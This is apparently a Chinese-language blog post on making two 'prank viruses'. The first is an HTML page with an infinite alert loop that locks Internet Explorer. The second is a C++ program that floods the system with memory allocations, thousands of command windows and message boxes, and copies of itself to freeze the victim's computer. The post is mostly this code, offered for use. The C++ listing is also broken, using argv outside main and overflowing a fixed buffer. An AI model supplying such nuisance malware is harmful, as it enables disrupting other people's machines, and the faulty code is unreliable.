做兩個惡搞病毒

2020-08-12 14:41:27

先來熱身一下:
下列哪些是計算機病毒?

  • CIH
  • AIDS
  • 金山毒霸
  • 江民
  • 小紅傘
  • 小球

好了,回到正題
今天分別做兩個病毒,一個是網頁病毒,一個是C++(C語言也可以)病毒.
先來說說HTML的:
思路很簡單,基於Internet Explorer瀏覽器出現對話方塊時無法進行其他操作的Bug,所以利用這個Bug,我們就可以寫出這樣的程式碼:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    var i=0;
    while (true){
        alert("hhh!你中計了!叫你不用Edge瀏覽器,慘了吧!來關我呀!略略略,關不掉!略略略~");
    }
</script>
</body>
</html>

僅對Internet Explorer瀏覽器有效(給Edge做了一個很大的廣告)
執行效果:
Internet Explorer瀏覽器:
呵呵,你中计了!

新版Edge瀏覽器:
看你嚣张,还嚣张不!再嚣张把你关了!(先开始录的屏,最后发现传不了,然后就截图了)
老版Edge也是同樣做法,只是要先選擇這個選項:

  • 不要讓這個頁面建立更多訊息

隨後再關掉

新版Edge以及谷歌Chrome,Chromium瀏覽器直接關掉頁面或瀏覽器就可以了!

IE瀏覽器就略麻煩,找到小貝(360檸檬防毒軟體的加速球),找到IE瀏覽器並勾選,隨後點選深度加速即可.
看你再嚣张!(品牌信息已打码)
好了,下一個
這是用C++做的,如果上面不夠狠那麼請看看這個,解決方法比較暴力請不要作X_X使用:
解決方法既然暴力,程式也一定很暴力:
首先上來就100個

 malloc(1024);//參數隨便改

卡死你的電腦,隨後再來9999個CMD晃死你(我的語氣都有點暴力了)!

system("Start");//start大小寫隨便

如果你的電腦扛住了的話(一般扛不住)再來幾個MessageBox氣死你!

MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);

隨後9999個克隆

char *This = argv[0];//獲取當前exe的檔案地址
char *Target = "這裏填寫你的exe檔案的目錄,如:C:\\xxx.exe";//被拷貝檔案的地址
char cmd[1000] = "copy ";
strcat(cmd,This);
strcat(cmd," ");
strcat(cmd,Target);
system(cmd);

總體程式碼如下:

#include <iostream>
#include <windows.h>
using namespace std;
char *This = argv[0];//獲取當前exe的檔案地址
char *Target = "這裏填寫你的exe檔案的目錄,如:C:\\xxx.exe";//被拷貝檔案的地址
char cmd[1000] = "copy ";
#define r(p) for(int i=0;i<=p;++i){
#define e }
int main(int argc,char *argv[])//這個int argc,char *argv[]必須帶
{
	r(100)malloc(1024);e//malloc是申請記憶體
	r(9999)system("Start");e
	r(1024)MessageBox(NULL,"你死定了","呵呵",MB_ICONEXCLAMATION|MB_OK);e
	r(9999)	strcat(cmd,This);strcat(cmd," ");strcat(cmd,Target);system(cmd);e
}

執行結果:
嗶…